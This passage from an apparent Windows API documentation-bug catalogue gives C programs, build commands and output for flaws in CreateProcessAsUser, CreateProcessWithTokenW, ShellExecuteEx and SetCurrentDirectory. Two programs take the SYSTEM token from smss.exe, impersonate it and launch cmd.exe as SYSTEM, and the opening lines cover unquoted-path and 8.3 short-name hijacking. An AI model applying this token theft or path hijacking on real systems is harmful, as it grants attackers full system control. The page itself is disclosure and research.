‹filename›.exe
exist in the same
directory – the latter is executed then, not the former!
Finally delete the files %SystemDrive%\Program
and
%SystemDrive%\Program.exe
:
ERASE "%SystemDrive%\Program" "%SystemDrive%\Program.exe"Note: on Windows Vista and later versions of Windows NT, deleting the empty file requires administrative access rights.
c:\program files\sub dir\program name
exists next to
c:\program files\sub dir\program name.exe
respectively
when a file or directory as well as a symbolic link or junction
C:\Program Files\MyProgram\My Service
exists next to
C:\Program Files\MyProgram\My Service.exe
is left as an
exercise to the reader!
Caveat: unless 8.3 filename creation is disabled,
users granted the
SeRestorePrivilege
alias
SE_RESTORE_NAME
privilege
(typically members of the
BUILTIN\Administrators
and the
BUILTIN\Backup Operators
group)
might just add short names via the
SetFileShortName()
function or the
File SetShortName
command of the FSUtil.exe
utility, for example
PROGRAM
for the directory %ProgramFiles%\
,
PROGRAM.EXE
for an arbitrary file
%SystemDrive%\‹executable›
,
COMMON
for the directory
%CommonProgramFiles%\
,
COMMON.EXE
for an arbitrary file
%ProgramFiles%\‹executable›
,
INTERNET
for the directory
%ProgramFiles%\Internet Files\
,
INTERNET.EXE
for an arbitrary file
%ProgramFiles%\‹executable›
,
WINDOWS
for the directory
%ProgramFiles%\Windows NT\
,
WINDOWS.EXE
for an arbitrary file
%ProgramFiles%\‹executable›
,
etc.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
CreateProcessAsUser()
function states:
Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.The documentation for the LogonUser function states too:Typically, the process that calls the CreateProcessAsUser function must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable.
[…]
To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.
[…]
By default, CreateProcessAsUser creates the new process on a noninteractive window station with a desktop that is not visible and cannot receive user input. To enable user interaction with the new process, you must specify the name of the default interactive window station and desktop, "winsta0\default", in the lpDesktop member of the STARTUPINFO structure.
In most cases, the returned handle is a primary token that you can use in calls to the CreateProcessAsUser function. However, if you specify the LOGON32_LOGON_NETWORK flag, LogonUser returns an impersonation token that you cannot use in CreateProcessAsUser unless you call DuplicateTokenEx to convert it to a primary token.Client Logon Sessions Client Impersonation Impersonation Levels Impersonation Tokens Processes and Threads About Processes and Threads Using Processes and Threads Process Security and Access Rights Thread Security and Access Rights Process Handles and Identifiers Thread Handles and Identifiers Child Processes Multiple Threads
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE 3UL // "SeAssignPrimaryTokenPrivilege"
const TOKEN_PRIVILEGES tpToken = {ANYSIZE_ARRAY, {SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
PROCESSENTRY32 pe /* = {sizeof(pe)} */;
DWORD dwError;
#ifdef BLUNDER
DWORD dwSession;
#endif
DWORD dwProcess = 0UL;
HANDLE hSnapshot;
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
HANDLE hThread = GetCurrentThread();
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
if (hSnapshot == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateToolhelp32Snapshot() returned error %lu\n",
dwError = GetLastError());
else
{
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe))
PrintConsole(hError,
L"Process32First() returned error %lu\n",
dwError = GetLastError());
else
{
do
if ((pe.th32ParentProcessID == 4UL)
&& (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
dwProcess = pe.th32ProcessID;
while (Process32Next(hSnapshot, &pe));
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hError,
L"Process32Next() returned error %lu\n",
dwError);
}
if (!CloseHandle(hSnapshot))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (dwProcess == 0UL)
{
PrintConsole(hError,
L"Process \'SMSS.exe\' not found!\n");
dwError = ERROR_NOT_FOUND;
}
else
{
if (!OpenProcessToken(hProcess,
TOKEN_QUERY,
&hToken))
PrintConsole(hError,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
#ifdef BLUNDER
if (!GetTokenInformation(hToken,
TokenSessionId,
&dwSession,
sizeof(dwSession),
&dwError))
PrintConsole(hError,
L"GetTokenInformation() returned error %lu\n",
dwError = GetLastError());
#endif
if (!CloseHandle(hToken))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
dwProcess);
if (hProcess == NULL)
PrintConsole(hError,
L"OpenProcess() returned error %lu\n",
dwError = GetLastError());
else
{
if (!OpenProcessToken(hProcess,
TOKEN_DUPLICATE | TOKEN_QUERY,
&hToken))
PrintConsole(hError,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!ImpersonateLoggedOnUser(hToken))
PrintConsole(hError,
L"ImpersonateLoggedOnUser() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CloseHandle(hToken))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!OpenThreadToken(hThread,
TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_SESSIONID | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
FALSE,
&hToken))
PrintConsole(hError,
L"OpenThreadToken() returned error %lu\n",
dwError = GetLastError());
else
{
#ifdef BLUNDER
if (!SetTokenInformation(hToken,
TokenSessionId,
&dwSession,
sizeof(dwSession)))
PrintConsole(hError,
L"SetTokenInformation() returned error %lu\n",
dwError = GetLastError());
#endif
AdjustTokenPrivileges(hToken,
FALSE,
&tpToken,
0UL,
(TOKEN_PRIVILEGES *) NULL,
(LPDWORD) NULL);
dwError = GetLastError();
if (dwError != ERROR_SUCCESS)
PrintConsole(hError,
L"AdjustTokenPrivileges() returned error %lu\n",
dwError);
else
if (!CreateProcessAsUser(hToken,
L"C:\\Windows\\System32\\Cmd.exe",
L"%COMSPEC% /D /T:4F",
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
L"\0",
L"..",
&si,
&pi))
PrintConsole(hError,
L"CreateProcessAsUser() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CloseHandle(pi.hThread))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
}
if (!RevertToSelf())
PrintConsole(hError,
L"RevertToSelf() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hToken))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers blunder.c(198) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
Create the text file blunder.exe.manifest
with the
following content next to the console application
blunder.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Execute the console application blunder.exe
built in
step 2. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateProcessAsUser() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.Note: the Win32 error code 5 alias
ERROR_ACCESS_DENIED
is expected here – the
CreateProcessAsUser()
function runs in session 0 and has no access right for
the interactive
Window Station
and its
Desktop.
OOPS¹: the Win32 function
CreateProcessAsUser()
does not fail with Win32 error code
1314 alias
ERROR_PRIVILEGE_NOT_HELD
– contrary to the first highlighted statement of its
documentation cited above it does not require the
SE_INCREASE_QUOTA_NAME
privilege!
OOPS²: contrary to the second highlighted statement of its documentation cited above, and contrary to the highlighted statement of the documentation for the Win32 function LogonUser cited above too, it also does not need to be called with a primary token, but accepts an impersonation token as well!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers blunder.c(198) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 5. with elevated access rights to demonstrate its proper
function:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS³: contrary to the third highlighted statement of its documentation cited above, the Win32 function
CreateProcessAsUser()
also works with an empty
STARTUPINFO
structure and does not require its
lpDesktop
member to be set!
Setting Window Properties Using STARTUPINFO
CreateProcessWithTokenW()
states:
A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. For more information, see Access Rights for Access-Token Objects. […]To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
PROCESSENTRY32 pe /* = {sizeof(pe)} */;
DWORD dwError;
DWORD dwProcess = 0UL;
HANDLE hSnapshot;
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
#ifdef BLUNDER
HANDLE hThread = GetCurrentThread();
#endif
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
if (hSnapshot == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateToolhelp32Snapshot() returned error %lu\n",
dwError = GetLastError());
else
{
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe))
PrintConsole(hError,
L"Process32First() returned error %lu\n",
dwError = GetLastError());
else
{
do
if ((pe.th32ParentProcessID == 4UL)
&& (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
dwProcess = pe.th32ProcessID;
while (Process32Next(hSnapshot, &pe));
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hError,
L"Process32Next() returned error %lu\n",
dwError);
}
if (!CloseHandle(hSnapshot))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (dwProcess == 0UL)
{
PrintConsole(hError,
L"Process \'SMSS.exe\' not found!\n");
dwError = ERROR_NOT_FOUND;
}
else
{
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
dwProcess);
if (hProcess == NULL)
PrintConsole(hError,
L"OpenProcess() returned error %lu\n",
dwError = GetLastError());
else
{
if (!OpenProcessToken(hProcess,
#ifndef BLUNDER
TOKEN_ASSIGN_PRIMARY |
#endif
TOKEN_DUPLICATE | TOKEN_QUERY,
&hToken))
PrintConsole(hError,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!ImpersonateLoggedOnUser(hToken))
PrintConsole(hError,
L"ImpersonateLoggedOnUser() returned error %lu\n",
dwError = GetLastError());
else
{
#ifdef BLUNDER
if (!CloseHandle(hToken))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!OpenThreadToken(hThread,
TOKEN_ALL_ACCESS,
FALSE,
&hToken))
PrintConsole(hError,
L"OpenThreadToken() returned error %lu\n",
dwError = GetLastError());
else
#endif
if (!CreateProcessWithTokenW(hToken,
0UL,
L"C:\\Windows\\System32\\Cmd.exe",
L"%COMSPEC% /D /T:4F",
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
L"SystemRoot=C:\\Windows\0",
L"..",
&si,
&pi))
PrintConsole(hError,
L"CreateProcessWithTokenW() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CloseHandle(pi.hThread))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!RevertToSelf())
PrintConsole(hError,
L"RevertToSelf() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hToken))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(149) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
Create the text file blunder.exe.manifest
with the
following content next to the console application
blunder.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Execute the console application blunder.exe
built in
step 2. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateProcessWithTokenW() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: contrary to its documentation cited above, the Win32 function
CreateProcessWithTokenW()
fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
although the
access token
is properly opened with TOKEN_ASSIGN_PRIMARY
,
TOKEN_DUPLICATE
and TOKEN_QUERY_SOURCE
access!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(149) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 5. with elevated access rights to demonstrate its proper
function:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS: contrary to its documentation cited above, the Win32 function
CreateProcessWithTokenW()
does not need to be called with a
primary token,
but accepts an
impersonation token
as well!
shell
Explorer.exe
looks up the
file type
alias
Programmatic Identifier
associated with its extension, retrieves the command line template
registered with the default verb of that associated file type,
replaces the various tokens %‹digit›
,
%‹letter›
and %*
in this
command line template with file or path names and arguments, then
feeds the completed command line to one of the
CreateProcess()
,
CreateProcessAsUser()
,
CreateProcessWithLogonW()
or
CreateProcessWithTokenW()
functions.
The MSDN articles File Types and File Associations and Launching Applications (ShellExecute, ShellExecuteEx, SHELLEXECUTEINFO) provide details.
CAVEAT: according to the documentation for the
SetCurrentDirectory()
function, the
CreateProcess()
function but fails if the double-clicked file resides in a
directory whose path name exceeds 260 alias MAX_PATH
characters:
Important
Setting a current directory longer than MAX_PATH causes CreateProcessW to fail.
shellcan’t distinguish batch scripts, i.e. files with extension
.bat
or
.cmd
, from applications, i.e. files with extension
.com
, .exe
and .scr
.
Create the empty file
blunder.bat
in
an arbitrary, preferable empty directory, then open
it via
double-click.
OOPS: according to the error message text,
Windows treats batch scripts as applications, i.e.
portable executable
files!
Note: as already shown in
Blunder № 44,
the Win32 error code is 193 alias
ERROR_BAD_EXE_FORMAT
!
Create the text file blunder.c
with the following
content in the same directory as the empty file
blunder.bat
:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SHELLEXECUTEINFO sei = {sizeof(sei),
SEE_MASK_NOASYNC | SEE_MASK_NO_CONSOLE,
HWND_DESKTOP,
(LPCWSTR) NULL,
#ifndef BLUNDER
L"blunder.bat",
#elif BLUNDER == 1
L"Windows NT.bat",
#else
L"%OS%.bat",
#endif
L"/?",
#ifndef BLUNDER
(LPCWSTR) NULL,
#elif BLUNDER == 1
L".",
#else
L"..",
#endif
SW_SHOWNORMAL,
(HINSTANCE) NULL,
NULL,
(LPCWSTR) NULL,
HKEY_CLASSES_ROOT,
0UL,
(HANDLE) NULL,
(HANDLE) NULL};
DWORD dwError = ERROR_SUCCESS;
if (!ShellExecuteEx(&sei))
dwError = GetLastError();
ExitProcess(dwError);
}
Note: this program performs the equivalent of a
double-click on the file blunder.bat
in the current
directory.
Compile and link the source file blunder.c
created in
step 2.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib shell32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
Execute the console application blunder.exe
built in
step 3. and evaluate its exit code to verify the
Win32 error code 193:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.
Display the
file types
associated with the extensions .bat
, .cmd
,
.com
and .exe
plus their command line
templates to show the cause for this undocumented
behaviour:
ASSOC .bat FTYPE batfile ASSOC .cmd FTYPE cmdfile ASSOC .com FTYPE comfile ASSOC .exe FTYPE exefile
.bat=batfile batfile="%1" %* .cmd=cmdfile cmdfile="%1" %* .com=comfile comfile="%1" %* .exe=exefile exefile="%1" %*
Overwrite the empty file blunder.bat
created in
step 1. with the following content:
@REM Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@ECHO %CMDCMDLINE%
@ECHO %~f0
@EXIT
Execute the console application blunder.exe
built in
step 3. a second time and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c ""C:\Users\Stefan\Desktop\blunder.bat" /?"
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
OUCH: the
ShellExecuteEx()
function (which Explorer.exe
calls internally) expands the token "%1"
in
the command line template to the fully qualified quoted path name of
the batch script blunder.bat
, but fails to double the
inner quotation marks!
Rename the console application blunder.exe
built in
step 3 as blunder.cmd
and execute it via
double-click:
RENAME blunder.exe *.cmd
Windows NT.bat
or
%OS%.bat
as well as an arbitrary working directory is
left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
SetCurrentDirectory()
states:
The highlighted statement of the documentation cited above is but incomplete, misleading and wrong – the fourImportant
Setting a current directory longer than MAX_PATH causes CreateProcessW to fail.
CreateProcess*()
functions fail
only if the path name of the current directory exceeds
MAX_PATH
− 2 = 258 characters
and their lpCurrentDirectory
parameter
is NULL
, i.e. the new process should inherit the
current directory of the calling process; they succeed if their
lpCurrentDirectory
parameter provides the path name of
an existing directory less than 259 characters!
SetCurrentDirectory()
specifies:
Changes the current directory for the current process.The documentation for the Win32 function[…]BOOL SetCurrentDirectory( [in] LPCTSTR lpPathName );
[in] lpPathName
The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.
[…]
The final character before the null character must be a backslash ('\'). If you do not specify the backslash, it will be added for you; therefore, specify MAX_PATH-2 characters for the path unless you include the trailing backslash, in which case, specify MAX_PATH-1 characters for the path.
[…]
Each process has a single current directory made up of two parts:
- A disk designator that is either a drive letter followed by a colon, or a server name and share name (\\servername\sharename)
- A directory on the disk designator
GetCurrentDirectory()
repeats the wrong remark cited above:
Each process has a single current directory made up of two parts:
- A disk designator that is either a drive letter followed by a colon, or a server name and share name (\\servername\sharename)
- A directory on the disk designator
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szDevice[3] = {L"\\\\.\\NUL",
L"\\\\.\\PIPE",
L"\\\\.\\PIPE\\"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szDirectory[MAX_PATH];
DWORD dwDevice = 0UL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
do
if (!SetCurrentDirectory(szDevice[dwDevice]))
PrintConsole(hError,
L"SetCurrentDirectory() returned error %lu for \'%ls\'\n",
dwError = GetLastError(), szDevice[dwDevice]);
else
if (!GetCurrentDirectory(sizeof(szDirectory) / sizeof(*szDirectory),
szDirectory))
PrintConsole(hError,
L"GetCurrentDirectory() returned error %lu for \'%ls\'\n",
dwError = GetLastError(), szDevice[dwDevice]);
else
PrintConsole(hError,
L"GetCurrentDirectory() returned value \'%ls\' for \'%ls\'\n",
szDirectory, szDevice[dwDevice]);
while (++dwDevice < sizeof(szDevice) / sizeof(*szDevice));
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code to demonstrate the blunder:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetCurrentDirectory() returned value '\\.\NUL' for '\\.\NUL\'
SetCurrentDirectory() returned error 123 for '\\.\PIPE'
GetCurrentDirectory() returned value '\\.\PIPE' for '\\.\PIPE\'
0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
Error message text: The filename, directory name, or volume label syntax is incorrect.
CertUtil: -error command completed successfully.
OUCH: contrary to the first highlighted statement
of its documentation cited above, the Win32 function
SetCurrentDirectory()
fails to append the trailing backslash for the argument
\\.\PIPE
and returns the Win32 error code
123 alias
ERROR_INVALID_NAME
instead!
OOPS: contrary to the second highlighted statement
of its documentation cited above, the Win32 function
SetCurrentDirectory()
accepts a device name as current directory!
CreateProcess*()
fail to accept
\\.\NUL\
or \\.\PIPE\
as current directory
is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
Naming Conventions:
The following fundamental rules enable applications to create and process valid names for files and directories, regardless of the file system:
Use any character in the current code page for a name, including Unicode characters and characters in the extended character set (128–255), except for the following:
- The following reserved characters:
- < (less than)
- > (greater than)
- : (colon)
- " (double quote)
- / (forward slash)
- \ (backslash)
- | (vertical bar or pipe)
- ? (question mark)
- * (asterisk)
Integer value zero, sometimes referred to as the ASCII NUL character.
Characters whose integer representations are in the range from 1 through 31, except for alternate data streams where these characters are allowed. For more information about file streams, see File Streams.
Any other character that the target file system does not allow.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
